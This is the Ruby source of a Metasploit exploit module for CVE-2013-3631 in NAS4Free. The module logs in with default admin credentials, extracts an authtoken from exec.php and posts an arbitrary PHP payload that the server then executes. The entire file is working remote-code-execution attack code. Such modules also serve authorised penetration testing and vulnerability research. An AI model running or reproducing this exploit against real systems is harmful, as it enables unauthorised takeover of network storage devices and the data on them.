130 lines
3.9 KiB
Ruby
130 lines
3.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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require 'rexml/document'
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class Metasploit4 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NAS4Free Arbitrary Remote Code Execution',
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'Description' => %q{
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NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have
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the code executed remotely. This module was successfully tested against NAS4Free version
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9.1.0.1.804. Earlier builds are likely to be vulnerable as well.
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},
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'Author' => [
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'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2013-3631'],
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['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
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],
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'Payload' =>
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{
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'Space' => 21244,
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'DisableNops' => true,
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'BadChars' => ''
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},
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'Targets' =>
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[
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[ 'Automatic Target', { } ]
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],
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'Privileged' => true,
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'DisclosureDate' => 'Oct 30 2013',
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'DefaultTarget' => 0))
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register_options([
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OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]),
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OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"])
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], self.class)
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end
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def exploit
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init = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, '/')
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})
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sess = init.get_cookies
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post = {
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'username' => datastore["USERNAME"],
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'password' => datastore["PASSWORD"]
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}
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login = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/login.php'),
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'vars_post' => post,
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'cookie' => sess
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})
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if !login or login.code != 302
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fail_with(Failure::NoAccess, "Login failed")
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end
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exec_resp = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, '/exec.php'),
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'cookie' => sess
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})
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if !exec_resp or exec_resp.code != 200
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fail_with(Failure::UnexpectedReply, 'Error getting auth token from exec.php')
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end
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authtoken = ''
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#The html returned is not well formed, so I can't parse it with rexml
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exec_resp.body.each_line do |line|
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next if line !~ /authtoken/
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authtoken = line
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end
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doc = REXML::Document.new authtoken
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input = doc.root
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if !input
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fail_with(Failure::UnexpectedReply, 'Error getting auth token')
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end
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token = input.attributes["value"]
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data = Rex::MIME::Message.new
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data.add_part('', nil, nil, 'form-data; name="txtCommand"')
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data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"')
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data.add_part('', nil, nil, 'form-data; name="dlPath"')
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data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""')
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data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"')
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#data.add_part(token, nil, nil, 'form-data; name="authtoken"')
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#I need to build the last data part by hand due to a bug in rex
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data_post = data.to_s
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data_post = data_post[0..data_post.length-data.bound.length-7]
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data_post << "\r\n--#{data.bound}"
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data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n"
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data_post << token
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data_post << "\r\n--#{data.bound}--\r\n\r\n"
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resp = send_request_raw({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, '/exec.php'),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => data_post,
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'cookie' => sess
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})
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end
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end
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